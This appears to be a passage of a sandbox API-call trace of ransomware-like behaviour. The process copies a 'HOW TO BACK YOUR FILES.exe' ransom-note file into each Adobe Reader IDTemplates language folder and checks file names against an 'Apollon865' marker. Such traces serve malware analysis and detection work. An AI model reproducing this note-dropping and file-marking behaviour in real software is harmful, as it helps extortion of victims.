	[0060.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.440] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.440] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c1982b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c1982b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.441] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.441] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.441] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.441] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.441] lstrlenW (lpString="Apollon865") returned 10
	[0060.441] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.441] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.441] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.441] lstrlenW (lpString="Apollon865") returned 10
	[0060.441] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.441] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ"
	[0060.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0060.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0060.441] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ") returned 63
	[0060.441] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ"
	[0060.441] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.441] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.453] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c1982b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c1982b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.453] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.453] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.453] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP"
	[0060.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf920 | out: hHeap=0x580000) returned 1
	[0060.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0060.453] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP") returned 63
	[0060.453] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP"
	[0060.453] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.453] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.459] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c1be410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c1be410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.459] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.459] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.460] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.460] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.460] lstrlenW (lpString="Apollon865") returned 10
	[0060.460] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.460] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.460] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.460] lstrlenW (lpString="Apollon865") returned 10
	[0060.460] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.460] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU"
	[0060.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0060.460] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0060.460] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU") returned 63
	[0060.460] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU"
	[0060.460] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.460] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.466] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.466] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c1be410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c1be410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.466] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.466] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.466] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.466] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.466] lstrlenW (lpString="Apollon865") returned 10
	[0060.467] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.467] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.467] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.467] lstrlenW (lpString="Apollon865") returned 10
	[0060.467] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.467] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU"
	[0060.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0060.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0060.467] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU") returned 63
	[0060.467] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU"
	[0060.467] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.467] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.471] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.471] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c1e4570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c1e4570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.471] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.471] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.471] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.471] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.471] lstrlenW (lpString="Apollon865") returned 10
	[0060.471] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.471] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.471] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.471] lstrlenW (lpString="Apollon865") returned 10
	[0060.471] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.472] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN"
	[0060.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0060.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0060.472] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN") returned 63
	[0060.472] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN"
	[0060.472] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.472] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.478] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.478] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c1e4570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c1e4570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.478] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.478] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.478] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.478] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.478] lstrlenW (lpString="Apollon865") returned 10
	[0060.478] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.478] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.478] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.478] lstrlenW (lpString="Apollon865") returned 10
	[0060.478] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.479] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE"
	[0060.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0060.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0060.479] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE") returned 63
	[0060.479] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE"
	[0060.479] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.479] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.483] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.483] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c1e4570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c1e4570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.483] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.483] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.483] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.483] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.483] lstrlenW (lpString="Apollon865") returned 10
	[0060.484] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.484] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.484] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.484] lstrlenW (lpString="Apollon865") returned 10
	[0060.484] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.484] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT"
	[0060.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0060.484] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0060.484] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT") returned 63
	[0060.484] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT"
	[0060.484] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.484] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.494] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.494] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c20a6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c20a6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.494] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.494] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.494] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.494] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.494] lstrlenW (lpString="Apollon865") returned 10
	[0060.494] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.495] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.495] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.495] lstrlenW (lpString="Apollon865") returned 10
	[0060.495] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.495] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS"
	[0060.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0060.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0060.495] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS") returned 63
	[0060.495] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS"
	[0060.495] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c230830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c230830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.501] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.501] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.502] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.502] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.502] lstrlenW (lpString="Apollon865") returned 10
	[0060.502] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.502] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.502] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.502] lstrlenW (lpString="Apollon865") returned 10
	[0060.502] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
